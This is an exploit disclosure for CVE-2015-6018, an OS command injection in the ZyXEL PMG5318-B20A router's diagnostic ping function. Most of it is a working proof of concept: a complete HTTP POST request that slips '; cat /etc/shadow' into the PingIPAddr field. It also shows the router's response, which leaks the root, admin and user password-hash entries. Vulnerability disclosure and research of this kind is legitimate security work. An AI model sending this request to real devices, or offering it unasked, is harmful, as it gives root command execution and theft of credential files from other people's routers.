ZYXEL PMG5318-B20A - OS Command Injection

# Exploit Title: [ZyXEL PMG5318-B20A OS Command Injection Vulnerability]

# Discovered by: Karn Ganeshen

# CERT VU# 870744

# Vendor Homepage: [www.zyxel.com]

# Version Reported: [Firmware version V100AANC0b5]

# CVE-2015-6018 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6018]





*Vulnerability Details*



CWE-20 <http://cwe.mitre.org/data/definitions/20.html>: Improper Input

Validation - CVE-2015-6018



The diagnostic ping function's PingIPAddr parameter in the ZyXEL

PMG5318-B20A, firmware version V100AANC0b5, does not properly validate user

input. An attacker can execute arbitrary commands as root.



*OS Command Injection PoC*



The underlying services are run as 'root'. It therefore, allows dumping

system password hashes.



*HTTP Request*



POST /diagnostic/diagnostic_general.cgi HTTP/1.1

Host: <IP>

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101

Firefox/40.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://<IP>/diagnostic/diagnostic_general.cgi

Cookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive

Content-Type: multipart/form-data; boundary=--------------------------

-12062103314079176991367286444

Content-Length: 451



——————————————12062103314079176991367286444

Content-Disposition: form-data; name="InfoDisplay”

——————————————12062103314079176991367286444

Content-Disposition: form-data; name="*PingIPAddr*"

*8.8.8.8; cat /etc/shadow *

——————————————12062103314079176991367286444

Content-Disposition: form-data; name="Submit"

Ping

….

*HTTP Response *

.....

<snipped>

<br class="clearfloat" />

<!-- configuration beginning -->

<div class="headline"><span class="cTitle">General</span></div> <table

width="90%" border="0" align="center" cellpadding="0" cellspacing="0"

class="cfgpadding">

<tr>

<td nowrap="nowrap"><textarea name="InfoDisplay" rows="15" cols="100"

readonly="readonly”>





*root:<hash>:15986:0:99999:7:::

lp:*:13013:0:99999:7:::nobody:*:13013:0:99999:7:::admin:<hash>:16035:0:99999:7:::

user:<hash>:16035:0:99999:7:::*

 &lt;/textarea&gt;</td>

</tr>

</table>

<table width="90%" border="0" align="center" cellpadding="0"

cellspacing="0" class="cfgpadding">

<tr>

-----------------------------12062103314079176991367286444--